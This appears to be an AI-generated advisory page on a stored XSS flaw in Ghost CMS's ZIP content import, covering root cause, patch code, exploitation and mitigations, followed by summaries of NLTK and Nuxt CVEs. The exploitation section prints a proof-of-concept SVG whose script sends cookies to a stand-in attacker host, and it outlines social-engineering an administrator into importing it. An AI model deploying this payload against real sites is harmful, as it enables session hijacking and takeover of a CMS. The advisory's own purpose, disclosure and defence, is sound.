CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-105644

CVE-2026-105644: Stored Cross-Site Scripting via Malicious SVG Content Import in Ghost CMS

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 8, 2026·6 min read·12 visits

Executive Summary (TL;DR)

Ghost CMS failed to sanitize SVG files included inside bulk content imports (ZIP files). Attackers can trick administrators into importing a malicious ZIP containing crafted SVGs with embedded JavaScript, leading to stored XSS and complete CMS takeover.

A Stored Cross-Site Scripting (XSS) and Unrestricted Upload of File with Dangerous Type vulnerability in Ghost CMS (versions 4.0.0 to 6.66.x) allows remote attackers to execute arbitrary JavaScript in the context of an administrator's session. The flaw lies in the content import subsystem, which extracted and stored SVG files without sanitization or binary verification.

Vulnerability Overview

Ghost is an open-source publishing platform and Node.js content management system widely used for professional publishing. The platform exposes a content import surface that allows administrative users to upload bulk ZIP files containing site data, databases, configuration settings, and associated media assets.

From version 4.0.0 until 6.67.0, Ghost did not sanitize Scalable Vector Graphics (SVG) files included inside content archives during the data import process. Since SVG is an XML-based image format, it can embed HTML elements, JavaScript blocks via <script> tags, and execution event handlers. This creates a Stored Cross-Site Scripting (XSS) condition, classified under CWE-79 and CWE-434.

An attacker who successfully induces an administrative user to import a crafted content file can plant malicious SVG images on the victim's domain. Once stored, accessing the direct URL of these files executes the embedded JavaScript under the security origin of the website, bypassing browser-based isolation policies.

Root Cause Analysis

The root cause of CVE-2026-105644 lies in the implementation of the image importer module (ghost/core/core/server/data/importer/handlers/image.js). Prior to version 6.67.0, the handler identified and verified incoming image assets using file extension checks alone, referencing the configurations for allowed uploads.

While standard HTTP image uploads directly via the administrative panel API interface were subjected to sanitization middleware, the files extracted from bulk content imports bypassed these sanitization boundaries. There was no server-side SVG sanitization performed during the extraction phase of a content archive import.

Furthermore, the system lacked content verification mechanism such as magic byte validation to confirm that files with image extensions (such as .jpg or .png) actually corresponded to safe, non-executable content. This allowed an attacker to include an executable HTML or SVG payload disguised under an arbitrary permitted image extension, or directly use .svg and .svgz file types within the archive structure.

Code-Level Analysis

The vulnerability was fixed in commit 1be06f4e95a5eb159d14abda7660e689af13cff1 by integrating a multi-tiered file validation framework. The patch integrates a custom SVG sanitization utility (ghost/core/core/server/lib/image/svg-sanitizer.ts) which leverages jsdom and dompurify to sanitize XML elements in SVG files.

// Sanitize SVG content using DOMPurify
export function sanitizeSvgContent(content: string): string | null {
  const { JSDOM } = require('jsdom');
  const createDOMPurify = require('dompurify');
  const window = new JSDOM('').window;
  const DOMPurify = createDOMPurify(window);
 
  const sanitized = DOMPurify.sanitize(content, { USE_PROFILES: { svg: true, svgFilters: true } });
  const validSvgTag = sanitized?.match(/<svg[^>]*>\s*[\S]+[\S\s]*<\/svg>/);
  if (!sanitized || sanitized.trim() === '' || !validSvgTag) {
    return null;
  }
  return sanitized;
}

The fix also implements path validation constraints to prevent path traversal attacks or writing files to unauthorized locations, ensuring that all processing is restricted to files inside the temporary system directory (os.tmpdir()):

const resolvedPath = path.resolve(filepath);
if (!resolvedPath.startsWith(path.resolve(os.tmpdir()) + path.sep)) {
  logging.error(`Refused to sanitize SVG outside the temp directory: ${filepath}`);
  return false;
}

Additionally, the patch hardens the image-processing layer by restricting the decoders allowed in the sharp library (which uses native libvips bindings), mitigating risks associated with parser-level buffer overflows or memory safety issues.

export function restrictImageDecoders(extensions, { requireSharp }) {
  const sharp = requireSharp();
  if (!sharp) return;
  sharp.block({ operation: ['VipsForeignLoad'] });
  sharp.unblock({ operation: getAllowedImageLoaders(extensions) });
}

Exploitation Methodology

Exploitation of CVE-2026-105644 requires user interaction from an administrative user of the Ghost CMS instance. An attacker must first construct a malicious SVG file containing standard script execution blocks or event-driven handlers that reference the target action.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" />
  <script type="text/javascript">
    fetch('https://attacker.controlled.server/steal?cookie=' + document.cookie);
  </script>
</svg>

The attacker packages the malicious file into a ZIP archive matching the folder structure expected by the Ghost database importer. The ZIP archive is structured with a root directory containing a posts.csv metadata file and a sub-folder path such as content/images/avatar.svg.

Once the archive is prepared, the attacker must utilize social engineering or other vectors to convince an authorized administrator of the target Ghost instance to navigate to /ghost/#/settings/labs and perform a content import. Once imported, the SVG file is written to the persistent file system at /content/images/avatar.svg. The attacker can then trigger the stored script execution whenever an active administrative session accesses the resource URL directly.

Impact Assessment

The security impact of CVE-2026-105644 is substantial due to the context of the execution origin. When an SVG file is accessed directly from the host static asset path, the web browser parses and executes the embedded script within the domain origin of the Ghost CMS installation.

Because the script runs in the context of an authenticated session, the attacker can hijack administrative cookies, capture active session tokens, and bypass Cross-Site Request Forgery (CSRF) protections. This allows the attacker to execute administrative commands, such as adding new administrative users, modifying existing post content, or altering platform configurations.

The CVSS v3.1 base score is calculated at 6.8 (Medium), with a high complexity (AC:H) because exploitation depends on convincing an administrative user to import a malicious ZIP file. However, should an administrator execute the import, the confidentiality and integrity impact is high, leading to complete compromise of the content management platform.

Remediation & Hardening

The primary mitigation for this vulnerability is upgrading the Ghost CMS installation to version 6.67.0 or higher, which incorporates the server-side sanitization, magic byte checks, and native decoder constraints.

If immediate upgrading is not possible, administrators should deploy external protective controls. Deploying a Content Security Policy (CSP) header on the web server or reverse proxy (e.g., Nginx) that targets the asset directory /content/images/ is recommended. This policy should disable script execution for SVG content.

Content-Security-Policy: default-src 'none'; frame-ancestors 'none';

Additionally, administrators can mitigate the risk of origin-based exploitation by hosting static assets on a completely separate domain (e.g., ghostassets.com instead of the primary domain). This ensures that any script execution triggered by accessing a direct SVG file link is sandboxed away from the core administrative API.

Fix Analysis (1)

Technical Appendix

CVSS Score
6.8/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.32%
Top 77% most exploited

Affected Systems

Ghost Content Management System (CMS)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Ghost
TryGhost
>= 4.0.0, < 6.67.06.67.0
AttributeDetail
CWE IDCWE-79, CWE-434
Attack VectorNetwork
CVSS Score6.8 (Medium)
EPSS Score0.0032 (0.32%)
ImpactStored XSS / Session Hijacking
Exploit StatusProof of Concept (PoC)
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
T1105Ingress Tool Transfer
Command and Control
T1059Command and Scripting Interpreter
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

References & Sources

  • [1]GHSA-hqq2-xqr2-fmx2 Security Advisory
  • [2]Fix Commit
  • [3]Pull Request #31060
  • [4]Ghost Release Tag v6.66.0
  • [5]NVD CVE Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-126299
7.5

CVE-2026-126299: Quadratic Algorithmic Complexity Denial of Service in NLTK CCG Lexicon Parser

An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.

Alon Barad
Alon Barad
2 views•10 min read
•about 2 hours ago•CVE-2026-126295
7.1

CVE-2026-126295: Path Traversal and Unconfined File Access in NLTK BllipParser

CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 3 hours ago•CVE-2026-126300
5.3

CVE-2026-126300: Algorithmic Complexity Denial of Service in NLTK TreebankWordTokenizer.span_tokenize

CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 4 hours ago•GHSA-GPWC-27CW-RH9R
5.3

CVE-2026-126301: Quadratic CPU Exhaustion in NLTK LegalitySyllableTokenizer

The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 5 hours ago•CVE-2026-126304
8.7

CVE-2026-126304: Symlink Path Traversal in NLTK YCOECorpusReader

CVE-2026-126304 is a symlink path traversal vulnerability (CWE-59) in the Natural Language Toolkit (NLTK) versions 3.10.0 prior to 3.10.4. The YCOECorpusReader class constructs internal sub-readers for the 'psd' and 'pos' subdirectories using FileSystemPathPointer.join(), which relies exclusively on lexical string-prefix validation rather than canonical path resolution. An attacker who supplies a crafted YCOE corpus containing symbolic links in place of the 'psd' or 'pos' subdirectories can bypass directory confinement and read arbitrary files from sibling corpora or sensitive directories within the NLTK data sandbox.

Amit Schendel
Amit Schendel
6 views•9 min read
•about 6 hours ago•CVE-2026-128077
6.5

CVE-2026-128077: Authorization Bypass via Request Path Desynchronization in Nuxt and @nuxt/nitro-server

CVE-2026-128077 (GHSA-r99w-jh2x-3mg9) is an authorization bypass and interpretation conflict vulnerability affecting Nuxt and its underlying @nuxt/nitro-server package in versions 4.6.0 through 4.6.3. When an incoming HTTP request path begins with a double forward slash (e.g., //x/admin), the WHATWG URL parser within the Nuxt server-side page renderer interprets the initial segment as a network host/authority and resolves the remaining path (/admin) against the application's page router. Because Nitro server middleware, route-scoped serverHandlers, and Nitro routeRules evaluate the unparsed request path (//x/admin), path-based access controls, redirects, and security header policies configured for /admin fail to match and are bypassed.

Amit Schendel
Amit Schendel
5 views•10 min read